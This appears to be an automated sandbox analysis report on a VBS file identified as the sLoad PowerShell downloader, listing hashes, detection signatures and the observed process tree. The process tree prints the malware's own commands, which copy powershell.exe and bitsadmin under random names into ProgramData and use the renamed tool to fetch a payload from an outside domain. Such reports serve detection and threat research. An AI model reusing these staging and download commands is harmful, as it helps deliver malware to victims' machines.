Analysis

  • max time kernel
    31s
  • max time network
    116s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    23-11-2020 13:04

General

  • Target

    Allegato_Sload_Italy_vbs (19).vbs

  • Size

    5KB

  • MD5

    eb5129aca7687d3de32e25cc3a0fc643

  • SHA1

    857d8842c0424c7f7ad3dc1b76922e26fd6b94a7

  • SHA256

    31b24778ec52bcc726779fe314e6711ffefb2dcaea4342c2621f908327de71ae

  • SHA512

    534c8ea193e21679f24cee81fbf1a84490e867f2565aedac9032337036d2a9b9509f77924e29f091ffc360077e60d3e5489d28001c5ab0c04ba89a46453bc550

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (19).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zFTdML.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KNTnLqj*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3184
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zFTdML.exe
        3⤵
          PID:1208
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KNTnLqj*.exe
          3⤵
            PID:1656
        • C:\ProgramData\KNTnLqjin.exe
          "C:\ProgramData\KNTnLqjin.exe" /transfer qFPNoH /download https://owensii.com/werlopab/03824470284/it.png C:\Users\Admin\AppData\Roaming\it.png
          2⤵
          • Executes dropped EXE
          PID:1992

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\KNTnLqjin.exe

        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • C:\ProgramData\KNTnLqjin.exe

        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • memory/1208-1-0x0000000000000000-mapping.dmp

      • memory/1656-2-0x0000000000000000-mapping.dmp

      • memory/1992-4-0x0000000000000000-mapping.dmp

      • memory/3184-0-0x0000000000000000-mapping.dmp